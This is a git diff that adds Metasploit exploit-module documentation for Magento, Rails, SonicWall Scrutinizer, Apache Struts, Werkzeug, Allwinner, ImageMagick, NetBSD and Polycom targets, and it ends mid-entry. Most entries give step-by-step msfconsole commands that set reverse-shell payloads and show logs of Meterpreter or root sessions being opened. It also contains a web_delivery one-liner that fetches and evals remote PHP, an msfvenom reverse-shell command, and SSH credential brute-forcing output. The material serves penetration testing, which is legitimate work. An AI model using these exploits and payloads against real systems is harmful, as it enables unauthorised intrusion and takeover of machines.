https://marketplace.magento.com/ +22. Back to terminal, enter: ```mysql -h localhost -u root -p[password]``` +23. In mysql, enter: ```create database magento```, and exit +24. Go to http://localhost with a browser, and install Magento through the web interface. +25. After installation, back to Magento directory, and enter: ```sudo rm -rf var/cache/*``` +26. Enter: ```sudo rm -rf var/generation/*``` +27. Enter: ```sudo rm -rf var/page_cache/*``` +28. cd to /var/www/html/bin +29. Enter: ```sudo php magento deploy:mode:set developer```. It should say that you're in developer mode. +30. Enter: ```sudo php magento setup:static-content:deploy``` +31. Enter: ```sudo php magento indexer:reindex``` +32. Enter: ```sudo chmod -R 777 /var/www/html``` +33. Go to http://localhost, you should see Magento up and running. +34. From Magento, log in as admin, and create a product. After creating one, make sure this product + is: + * Either includes a shipping address, or does not have a weight. + * Searchable from the front-end. + +If at some point the IP (base URL) of Magento has changed, then you will need to do these steps to update: + +1. From the terminal, do: ```mysql -h localhost -u [username] -p[password]``` +2. In the SQL prompt, do: ```use [magento database name]``` +3. Do: ```select * from core_config_data;```, you should see both web/unsecure/base_url (config ID 2) and web/secure/base_url (config ID 3) with the hardcoded IP. +4. Do: ```update core_config_data set value='http://[IP]/' where config_id=2;``` +5. Do: ```update core_config_data set value='https://[IP]/' where config_id=3;``` +6. Back to the Magento directory, do: ```sudo rm -rf var/cache/*``` +7. Also do: ```sudo rm -rf var/generation/*``` +8. Also do: ```sudo rm -rf var/page_cache/*``` +9. Browse to Magento again with the new IP, it should be up and running again. + + +After setting up Magento, you can use your exploit module: + +1. Start msfconsole +2. Do: ```exploit/multi/http/magento_unserialize``` +3. Do: ```set RHOST [IP]``` +4. Do: ```set PAYLOAD php/meterpreter/reverse_tcp``` +5. Do: ```set LHOST [IP]``` +6. Do: ```exploit``` +7. And you should get a session + +## Demonstration + +``` +msf exploit(magento_unserialize) > check +[*] 192.168.1.108:80 The target appears to be vulnerable. +msf exploit(magento_unserialize) > exploit + +[*] Started reverse TCP handler on 192.168.1.94:4444 +[+] 192.168.1.108:80 - generated a guest cart id +[+] 192.168.1.108:80 - backdoor done! +[*] Sending stage (33721 bytes) to 192.168.1.108 +[*] Meterpreter session 6 opened (192.168.1.94:4444 -> 192.168.1.108:46835) at 2016-06-02 17:09:34 -0500 +[+] 192.168.1.108:80 - Deleted lP5UgbUBLm1sWN25gWfZBqYKms.php + +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/rails_actionpack_inline_exec.md b/documentation/modules/exploit/multi/http/rails_actionpack_inline_exec.md new file mode 100644 index 0000000000..9a9c9b7f77 --- /dev/null +++ b/documentation/modules/exploit/multi/http/rails_actionpack_inline_exec.md @@ -0,0 +1,43 @@ +rails_actionpack_inine_exec is a module that exploits the render method in Action Pack. +Applications that pass unverified user input to the ```render``` method in a controller +or view may be vulnerable to code injection. + +## Vulnerable Application + +Action Pack versions prior to 3.2.22.2, 4.1.14.2, and 4.2.5.2 use unsafe dynamic rendering. + +## Verification Steps + +Assuming you have the right requirements to run a rails server, you can use the following fork +to set up the vulnerable server for testing: + +1. Do: ```git clone https://github.com/wchen-r7/dh-CVE_2016_2098.git``` +2. Do: ```bundle install``` +3. Do: ```rails -s -b 0.0.0.0``` +4. Start msfconsole +5. Do: ```use exploit/multi/http/rails_actionpack_inline_exec``` +6. Do: ```set RHOST [rails server IP]``` +7. Do: ```set RPORT 3000```. 3000 is the default port for the rails server. +8. Do: ```set targeturi /exploits``` +9. Configure the rest of the options (for the modules or the payload) +10. Do: ```exploit```, and you should get a session: + +``` +msf exploit(rails_actionpack_inline_exec) > run + +[*] Started reverse TCP handler on 192.168.146.1:4444 +[*] Sending inline code to parameter: id +[*] Command shell session 1 opened (192.168.146.1:4444 -> 192.168.146.161:56661) at 2016-07-07 15:56:00 -0500 +``` + +## Options + +To use this module, you must manually discover the correct values for these datastore options: + +**TARGETURI** + +The path to a vulnerable Ruby on Rails application. + +**TARGETPARAM** + +The target parameter to inject with inline code. diff --git a/documentation/modules/exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli.md b/documentation/modules/exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli.md new file mode 100644 index 0000000000..a8f871bb81 --- /dev/null +++ b/documentation/modules/exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli.md @@ -0,0 +1,67 @@ +Dell SonicWALL Scrutinizer is multi-vendor, application traffic analytics, visualization and +reporting tool to measure and troubleshoot real-time network performance. It is used by routers, +firewalls, and other network equipment products. + +In version 11.0.1, SonicWall Scrutinizer suffers from a vulnerability that allows a remote +attacker to inject a malicious SQL string into the methodDetail parameter, and then gain +control of execution under the context of SYSTEM on Windows, or Apache on Linux. + +Authentication is required to exploit this vulnerability. However, SonicWALL Scrutinizer does +come with a default username and password (admin:admin), which is also somewhat unsafe. + +## Vulnerable Application + +As reported by the vendor, only version 11.0.1 is vulnerable to the SQL injection attack. + +For testing purposes, you may download the vulnerable version of Dell SonicWALL Scrutinizer for Windows from: +[http://software.sonicwall.com/ScrutinizerSW/184-003184-00_Rev_A_sonicwall-oem-Scrutinizer-windows-installer.exe](http://software.sonicwall.com/ScrutinizerSW/184-003184-00_Rev_A_sonicwall-oem-Scrutinizer-windows-installer.exe). + +If you prefer the appliance, then you can get it from: [http://software.sonicwall.com/scrutinizerVA/184-003186-00_Rev_A_Dell_SonicWALL_ScrutinizerVA.zip](http://software.sonicwall.com/scrutinizerVA/184-003186-00_Rev_A_Dell_SonicWALL_ScrutinizerVA.zip). + +## Verification Steps + +For testing purposes, the Windows installer is a bit easier to use. You should be able to complete +it by simply following the instructions on the screen. + +The Linux appliance requires more steps. To be able to use this, make sure you have more than 20GB +on disk. And you may need to modify the boot menu to [reset the root password](https://wiki.centos.org/TipsAndTricks/ResetRootPassword) if you cannot get around the scrutinizer login screen. + +Using the sonicwall_scrutinizer_methoddetail_sqli module is rather straight-forward. Make sure +you have a valid username and password, and configure the payload for the target. You will most +likely use the module like this: + +1. Start msfconsole +2. Do: ```use exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli ``` +3. Do: ```set RHOST [TARGET IP]``` +5. Do: ```set PAYLOAD [PAYLOAD NAME]``` (use ```show payloads``` for more info) +6. Do: ```exploit``` + +## Scenarios + +sonicwall_scrutinizer_methoddetail_sqli supports two platforms: Windows and Linux. By default, +it can automatically find the right OS, and configure the exploit and payload generation +accordingly. + +**Using the module against Windows platform** + +If sonicwall_scrutinizer_methoddetail_sqli is able to exploit SonicWALL Scrutinizer successfully, +on Windows you will be compromising the host as SYSTEM - the highest privilege. However, since +Windows does not allow you to delete the malicious executable that is in use, you will have to +do this manually at some point after you've migrated to a different process. The exploit should +tell you where this binary is like this message: + +``` +[!] This exploit may require manual cleanup of 'YrfCO.exe' on the target +``` + +**Using the module against Linux platform** + +For Linux platform, sonicwall_scrutinizer_methoddetail_sqli was specifically written against +the Linux appliance provided by Dell, but it should also work against other similar machines. + +Unlike Windows, if the module is able to successfully exploit the machine, you won't have the +highest privilege, instead you start off with Apache. + +Automatic cleanup is not an issue on Linux. Both the PHP backdoor and the Linux binary +should be automatically removed without problems. + diff --git a/documentation/modules/exploit/multi/http/struts_dmi_exec.md b/documentation/modules/exploit/multi/http/struts_dmi_exec.md new file mode 100644 index 0000000000..682c6e2d42 --- /dev/null +++ b/documentation/modules/exploit/multi/http/struts_dmi_exec.md @@ -0,0 +1,56 @@ +struts_dmi_exec is a module that exploits Apache Struts 2's Dynamic Method Invocation, +and it supports Windows and Linux platforms. + +## Vulnerable Application + +Apache Struts versions between 2.3.20 and 2.3.28 are vulnerable, except 2.3.20.2 and 2.3.24.2. +The application's struts.xml also needs set ```struts.enable.DynamicMethodInvocation``` to true, +and ```struts.devMode``` to false. + +For testing purposes, here is how you would set up the vulnerable machine: + +1. Download Apache Tomcat +2. Download Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded. +3. Download the vulnerable [Apache Struts application](https://github.com/rapid7/metasploit-framework/files/241784/struts2-blank.tar.gz). +4. Install Java first. Make sure you have the JAVA_HOME environment variable. +5. Extract Apache Tomcat. +6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor. +7. In tomcat-users.xml, add the ```manager-gui``` role +8. In tomcat-users.xml, add the ```manager-gui``` role to a user. +9. Remove other users. +10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080. +11. Extract the vulnerable struts app: ```tar -xf struts2-blank.tar.gz``` +12. Navigate to the Apache Tomcat server with a browser on port 8080. +13. Click on Manager App +14. In the WAR file to deploy section, deploy struts2-blank.war +15. Stop struts2-blank in the manager app. +16. On the server, ```cd``` to ```apache-tomcat-[version]/webapps/struts2-blank/WEB-INF/classes```, open struts.xml with a text editor. +17. In the XML file, update ```struts.enable.DynamicMethodInvocation``` to true +18. In the XML file, update ```struts.devMode``` to false. +19. Back to Apache Tomcat's manager app. Start the struts2-blank again. + +And now you have a vulnerable server. + + +## Options + +**TMPPATH** + +By default, the struts_dmi_exec exploit should be ready to go without much configuration. However, +in case you need to change where the payload should be uploaded to, make sure to set the correct +target, and then change the TMPPATH datastore option. + +## Scenarios + +struts_dmi_exec supports three platforms: Windows, Linux, and Java. By default, it uses Java, so +you don't need to worry about configuring this. Running the module can be as simple as the usage +explained in the Overview section. + +However, native payload do have their benefits (for example: Windows Meterpreter has better +support than Java), so if you decide to switch to a different platform, here is what you do: + +1. Do ```show targets```, and see which one you should be using +2. Do ```set target [id]``` +3. Do ```show payloads```, which shows you a list of compatible payloads for that target. +4. Do: ```set payload [payload name]``` +5. Do: ```exploit``` diff --git a/documentation/modules/exploit/multi/http/struts_dmi_rest_exec.md b/documentation/modules/exploit/multi/http/struts_dmi_rest_exec.md new file mode 100644 index 0000000000..dd1c72f487 --- /dev/null +++ b/documentation/modules/exploit/multi/http/struts_dmi_rest_exec.md @@ -0,0 +1,56 @@ +struts_dmi_rest_exec is a module that exploits Apache Struts's REST plugin with Dynamic Method +Invocation, and it supports Windows and Linux platforms. + +## Vulnerable Application + +Apache Struts versions between 2.3.20 and 2.3.28 are vulnerable, except 2.3.20.2 and 2.3.24.2. +The application's struts.xml also needs set ```struts.enable.DynamicMethodInvocation``` to true, +and ```struts.devMode``` to false. + +For testing purposes, here is how you would set up the vulnerable machine: + +1. Download Apache Tomcat +2. Download Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded. +3. Download the vulnerable [Apache Struts application](https://github.com/rapid7/metasploit-framework/files/300762/struts2-rest-showcase.tar.gz). +4. Install Java first. Make sure you have the JAVA_HOME environment variable. +5. Extract Apache Tomcat. +6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor. +7. In tomcat-users.xml, add the ```manager-gui``` role. +8. In tomcat-users.xml, add the ```manager-gui``` role to a user. +9. Remove other users. +10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080. +11. Extract the vulnerable struts app: ```tar -xf struts2-rest-showcase.tar.gz``` +12. Navigate to the Apache Tomcat server with a browser on port 8080. +13. Click on Manager App +14. In the WAR file to deploy section, deploy struts2-rest-showcase.war +15. Stop struts2-blank in the manager app. +16. On the server, ```cd``` to ```apache-tomcat-[version]/webapps/struts2-rest-showcase/WEB-INF/classes```, open struts.xml with a text editor. +17. In the XML file, make sure ```struts.enable.DynamicMethodInvocation``` is true +18. In the XML file, make sure ```struts.devMode``` is false. +19. Back to Apache Tomcat's manager app. Start the struts2-rest-showcase again. + +And now you have a vulnerable server. + + +## Options + +**TMPPATH** + +By default, the struts_dmi_rest_exec exploit should be ready to go without much configuration. However, +in case you need to change where the payload should be uploaded to, make sure to set the correct +target, and then change the TMPPATH datastore option. + +## Scenarios + +struts_dmi_rest_exec supports three platforms: Windows, Linux, and Java. By default, it uses Java, +so you don't need to worry about configuring this. Running the module can be as simple as the usage +explained in the Overview section. + +However, native payload do have their benefits (for example: Windows Meterpreter has better +support than Java), so if you decide to switch to a different platform, here is what you do: + +1. Do ```show targets```, and see which one you should be using +2. Do ```set target [id]``` +3. Do ```show payloads```, which shows you a list of compatible payloads for that target. +4. Do: ```set payload [payload name]``` +5. Do: ```exploit``` diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md new file mode 100644 index 0000000000..79032305ac --- /dev/null +++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md @@ -0,0 +1,72 @@ +## Vulnerable Application + +Verified against: + + 0.9.6 on Debian + + 0.9.6 on Centos + + 0.10 on Debian + +A sample application which enables the console debugger is available [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/werkzeug_console.py) + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use exploit/multi/http/werkzeug_debug_rce` + 4. Do: `set rport ` + 5. Do: `set rhost ` + 6. Do: `check` +``` +[+] 10.108.106.201:8081 - The target is vulnerable. +``` + 7. Do: `set payload python/meterpreter/reverse_tcp` + 8. Do: `set lhost ` + 9. Do: `exploit` + 10. You should get a shell. + +## Options + + **TARGETURI** + + TARGETURI by default is `/console`, as defined by werkzeug, however it can be changed within the python script. + +## Scenarios + +Example utilizing the previously mentioned sample app listed above. + +``` +msf > use exploit/multi/http/werkzeug_debug_rce +msf exploit(werkzeug_debug_rce) > set rport 8081 +rport => 8081 +msf exploit(werkzeug_debug_rce) > set rhost 10.108.106.201 +rhost => 10.108.106.201 +msf exploit(werkzeug_debug_rce) > check +[+] 10.108.106.201:8081 - The target is vulnerable. +msf exploit(werkzeug_debug_rce) > set payload python/meterpreter/reverse_tcp +payload => python/meterpreter/reverse_tcp +msf exploit(werkzeug_debug_rce) > set lhost 10.108.106.121 +lhost => 10.108.106.121 +msf exploit(werkzeug_debug_rce) > exploit + +[*] Started reverse handler on 10.108.106.121:4444 +[*] Sending stage (25277 bytes) to 10.108.106.201 +[*] Meterpreter session 2 opened (10.108.106.121:4444 -> 10.108.106.201:36720) at 2015-07-09 19:02:52 -0400 + +meterpreter > getpid +Current pid: 13034 +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : werkzeug +OS : Linux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24) +Architecture : x86_64 +Meterpreter : python/python +meterpreter > shell +Process 13037 created. +Channel 0 created. +/bin/sh: 0: can't access tty; job control turned off +# ls +app.py app.pyc werkzeug +# exit +meterpreter > exit +[*] Shutting down Meterpreter... +``` diff --git a/documentation/modules/exploit/multi/local/allwinner_backdoor.md b/documentation/modules/exploit/multi/local/allwinner_backdoor.md new file mode 100644 index 0000000000..230c8918e2 --- /dev/null +++ b/documentation/modules/exploit/multi/local/allwinner_backdoor.md @@ -0,0 +1,71 @@ + Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4 + Vulnerable OS: all OS images available for Orange Pis, + any for FriendlyARM's NanoPi M1, + SinoVoip's M2+ and M3, + Cuebietech's Cubietruck + + Linksprite's pcDuino8 Uno + Exploitation may be possible against Dragon (x10) and Allwinner Android tablets + +This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869). It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root. + +## Usage + +To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable. + +- `use auxiliary/scanner/ssh/ssh_login` + +``` +msf auxiliary(ssh_login) > set username orangepi +username => orangepi +msf auxiliary(ssh_login) > set password orangepi +password => orangepi +msf auxiliary(ssh_login) > set rhosts 192.168.2.21 +rhosts => 192.168.2.21 +msf auxiliary(ssh_login) > exploit + +[*] 192.168.2.21:22 SSH - Starting bruteforce +[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux ' +[!] No active DB -- Credential data will not be saved! +[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +- `use exploit/multi/local/allwinner_backdoor` + +``` +msf exploit(allwinner_backdoor) > set verbose true +verbose => true +msf exploit(allwinner_backdoor) > set session 1 +session => 1 +msf exploit(allwinner_backdoor) > set payload linux/armle/mettle/reverse_tcp +payload => linux/armle/mettle/reverse_tcp +msf exploit(allwinner_backdoor) > set lhost 192.168.2.117 +lhost => 192.168.2.117 +msf exploit(allwinner_backdoor) > check +[*] The target appears to be vulnerable. +msf exploit(allwinner_backdoor) > exploit +``` + +## Successful exploitation: + +``` +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Transmitting intermediate stager...(136 bytes) +[*] Sending stage (374540 bytes) to 192.168.2.248 +[+] Backdoor Found, writing payload to /tmp/odzVx.elf +[*] Max line length is 65537 +[*] Writing 284 bytes in 1 chunks of 843 bytes (octal-encoded), using printf +[+] Escalating +[*] Transmitting intermediate stager...(136 bytes) +[*] Sending stage (374540 bytes) to 192.168.2.248 +[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.248:49472) at 2016-09-22 21:56:50 -0400 + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > sysinfo +Computer : 192.168.2.248 +OS : Ubuntu 14.04 (Linux 3.4.39) +Architecture : armv7l +Meterpreter : armle/linux +``` \ No newline at end of file diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md new file mode 100644 index 0000000000..91c213f82d --- /dev/null +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -0,0 +1,76 @@ +As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk. + +Currently, web_delivery supports three different languages for delivery: Python, PHP, and +Powershell. You should be able to tell which one you can use based on the target environment +you are in. + +For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell. + +## Verification Steps + +To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter. + +At that point, you would use the web_delivery module like in the following example: + +1. Start msfconsole +2. Run: ```use exploit/multi/script/web_delivery``` +3. Run: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options) +4. Run: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target) +5. Run: ```set LHOST IP``` (The IP the payload should connect back to) +6. Do: ```run``` +7. At this point, a handler is up for that payload, and the module should instruct you to execute a command. +8. Copy the command. Depending on your pentesting scenario, you can either inject the + command and get code execution, or run it from the target's shell and get a session: + +``` +msf exploit(web_delivery) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 172.16.23.1:4444 +msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9 +[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9 +[*] Server started. +[*] Run the following command on the target machine: +php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));" +[*] Delivering Payload +[*] Sending stage (33684 bytes) to 172.16.23.134 +[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600 +``` + +## Targets + +**Python** + +Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3. + +**PHP** + +PHP is a fairly popular language for web servers, especially Apache. + +**Powershell/Windows** + +Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2 +are the first Windows versions to come with Powershell by default. Older Windows systems such as XP +don't come with it by default, but it is still possible to see it installed on a corporate network. + +## Scenarios + +**Against a compromised web application** + +web_delivery would work nicely for a web application with a command execution vulnerability. + +One way to approach this would be: + +1. Start exploit/multi/script/web_delivery +2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution. +3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session. + +**Shell upgrade** + +web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. + +Here's how that can be done: + +1. Start exploit/multi/script/web_delivery that generates/ +2. In msfconsole, interact with the shell, and copy/paste the command. +3. You should get a Meterpreter session. diff --git a/documentation/modules/exploit/unix/fileformat/imagemagick_delegate.md b/documentation/modules/exploit/unix/fileformat/imagemagick_delegate.md new file mode 100644 index 0000000000..534503e203 --- /dev/null +++ b/documentation/modules/exploit/unix/fileformat/imagemagick_delegate.md @@ -0,0 +1,54 @@ +## Vulnerable Application + + ImageMagick + +## Verification Steps + + Example steps in this format: + + 1. Install the ImageMagick + 2. Start msfconsole + 3. Do: ```use exploits/unix/fileformat/imagemagick_delegate``` + 4. Do: ```run``` + 5. convert msf.png msf.jpg + +## Options + + **USE_POPEN** + + When the default option `true` is used, targets 0 (SVG file) and 1 (MVG file) are valid + When the option is set to `false`, target 2 (PS file) is valid + +## Scenarios + +## popen=true + ``` + msf exploit(imagemagick_delegate) > set target 0 + msf exploit(imagemagick_delegate) > run + + [*] Started reverse TCP handler on 1.1.1.1:4444 + [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png + [*] Command shell session 1 opened (1.1.1.11:4444 -> 1.1.1.1:57212) at 2016-10-28 12:47:06 -0500 + ``` + + ``` + msf exploit(imagemagick_delegate) > set target 1 + msf exploit(imagemagick_delegate) > run + + [*] Started reverse TCP handler on 10.6.0.186:4444 + [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png + [*] Command shell session 2 opened (1.1.1.1:4444 -> 1.1.1.1:64308) at 2016-10-28 15:48:40 -0500 + ``` + +## popen=false + ``` + msf exploit(imagemagick_delegate) > set target 2 + target => 2 + msf exploit(imagemagick_delegate) > set USE_POPEN false + USE_POPEN => false + msf exploit(imagemagick_delegate) > run + + [*] Started reverse TCP handler on 1.1.1.1:4444 + [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png + [*] Command shell session 5 opened (1.1.1.1:4444 -> 1.1.1.1:64772) at 2016-10-28 15:58:03 -0500 + ``` diff --git a/documentation/modules/exploit/unix/local/netbsd_mail_local.md b/documentation/modules/exploit/unix/local/netbsd_mail_local.md new file mode 100644 index 0000000000..695649aed5 --- /dev/null +++ b/documentation/modules/exploit/unix/local/netbsd_mail_local.md @@ -0,0 +1,203 @@ +## Vulnerable Application + + NetBSD 7.0.1 is available from the [official](http://cdn.netbsd.org/pub/NetBSD/NetBSD-7.0.1/images/NetBSD-7.0.1-amd64.iso) site, or on an [unofficial git](https://github.com/h00die/MSF-Testing-Scripts/blob/master/NetBSD-7.0.1-amd64.iso) + +## Issues +Getting an initial shell that can write files correctly was difficult. The best I found was reverse_openssl. + +Payloads that didn't work: +* cmd/unix/reverse - connected back, but couldn't write file. +``` +[*] Started reverse TCP double handler on 172.16.152.1:4444 +[*] Writing Payload to /tmp/zrWqhXpL +[*] Max line length is 131073 +[*] /usr/bin/printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n" +[*] printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n" +[*] /usr/bin/printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n" +[*] printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n" +[*] perl -e 'print("\0\377\376\101\102\103\104\177\45\45\15\12")' Failed: "perl: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n" +[*] gawk 'BEGIN {ORS="";print "\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a"}' 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400 +^Z +Background session 1? [y/N] y +``` + 3. Do: `use exploit/unix/local/netbsd_mail_local` + 4. Do: `set payload cmd/unix/reverse_openssl` + 5. Do: `set lhost 172.16.152.1` + 6. Do: `set verbose true` + 7. Do: `set session 1` + 8. Do: `exploit` + 9. You should get a *root* shell. + +## Options + + **ATRUNPATH** + File location of atrun, defaults to `/usr/libexec/atrun` + + **MAILDIR** + Location of mail folder, defaults to `/var/mail` + + **WritableDir** + Location of a writable directory for our payload, defaults to `/tmp` + + **ListenerTimeout** + Since this exploit utilized a cron which has a 10min timer, the listener timeout needs to be 10min + padding. Defaults to `603` seconds (10min, 3sec) + +## Scenarios + + Here is a run against a virgin install of `NetBSD 7.0.1 NetBSD 7.0.1 (GENERIC.201605221355Z) amd64` (from the unofficial link at the top) + + In this example, I got lucky and only had to wait ~1min for the cron to hit, which is every 10min by default + + 1. Get an initial shell + 1. Create working shell, scp it over +``` +./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload +scp /tmp/bsd.payload user@172.16.152.128:/tmp/ +``` + 2. Setup msf to handle +``` +use exploit/multi/handler +set payload cmd/unix/reverse_openssl +set lhost 172.16.152.1 +exploit +``` + 3. Run the shell from NetBSD +``` +$ cd /tmp +$ ls +bsd.payload +$ chmod +x bsd.payload +$ ./bsd.payload +$ WARNING: can't open config file: /etc/openssl/openssl.cnf +depth=0 CN = vgekg +verify error:num=18:self signed certificate +verify return:1 +depth=0 CN = vgekg +verify return:1 +``` + 4. Receive the shell and background it +``` +[*] Started reverse double SSL handler on 172.16.152.1:4444 +[*] Starting the payload handler... +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo NwNHAEiJioYIvn4M; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket A +[*] A: "NwNHAEiJioYIvn4M\n" +[*] Matching... +[*] B is input... +[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400 +^Z +Background session 1? [y/N] y +``` + 2. Run the exploit +``` +msf exploit(netbsd_mail_local) > set payload cmd/unix/reverse_openssl +payload => cmd/unix/reverse_openssl +msf exploit(netbsd_mail_local) > set lhost 172.16.152.1 +lhost => 172.16.152.1 +msf exploit(netbsd_mail_local) > set verbose true +verbose => true +msf exploit(netbsd_mail_local) > set session 1 +session => 1 +msf exploit(netbsd_mail_local) > exploit +[*] Started reverse double SSL handler on 172.16.152.1:4444 +[*] Writing Payload to /tmp/pjDkvmGg +[*] Max line length is 131073 +[*] Writing 176 bytes in 1 chunks of 618 bytes (octal-encoded), using printf +[*] Writing exploit to /tmp/GHIKGOWX.c +[*] Max line length is 131073 +[*] Writing 4898 bytes in 1 chunks of 17162 bytes (octal-encoded), using printf +[*] Compiling /tmp/GHIKGOWX.c via gcc +[*] Starting the payload handler... +[*] Executing at 2016-08-25 19:59:04 -0400. May take up to 10min for callback +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo X6C4UIDx4zmwM0DJ; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket A +[*] A: "X6C4UIDx4zmwM0DJ\n" +[*] Matching... +[*] B is input... +[*] Command shell session 2 opened (172.16.152.1:4444 -> 172.16.152.128:65532) at 2016-08-25 20:00:02 -0400 +[*] 2016-08-25 20:00:02 -0400 +[*] Remember to run: chown root:wheel /usr/libexec/atrun +[+] Deleted /tmp/pjDkvmGg +[!] This exploit may require manual cleanup of '/tmp/pjDkvmGg' on the target +[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX' on the target +[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX.out' on the target +1633029467 +TkBWZEPqsRvYvmwNaTcjImhcSzZHOAtY +true +JUqfyioWthnpvyxRJAZosSGQjnLHqPUB +sHXbQbHqFIbnZGoFWlZoppGprWyKwFCr +nDpSrEmQhDuVSxIpILWCOABbMOIAWUTx +whoami +root +``` \ No newline at end of file diff --git a/documentation/modules/exploit/unix/misc/psh_auth_bypass.md b/documentation/modules/exploit/unix/misc/psh_auth_bypass.md new file mode 100644 index 0000000000..7d08d8aec7 --- /dev/null +++ b/documentation/modules/exploit/unix/misc/psh_auth_bypass.md @@ -0,0 +1,36 @@ +## Vulnerable Application + +This module exploits the Polycom HDX video endpoints with software <= 3.0.5. +It was tested on a Polycom HDX 7000 running software version 3.0.3. Telnet port +23 should be accessible, as it is with the factory default configuration. + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf exploit(psh_auth_bypass) > use exploit/unix/misc/psh_auth_bypass +msf exploit(psh_auth_bypass) > run + +[*] Started reverse double SSL handler on 192.168.1.120:4444 +[*] 192.168.1.155:23 - Starting Authentication bypass with 6 threads with 100 max connections +[+] 192.168.1.155:23 - 192.168.1.155:23 Successfully exploited the authentication bypass flaw +[+] 192.168.1.155:23 - Sending payload of 178 bytes to 192.168.1.155:40186... +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo xInxktvgUmm7hPyh; +[*] Writing to socket A +[*] Writing 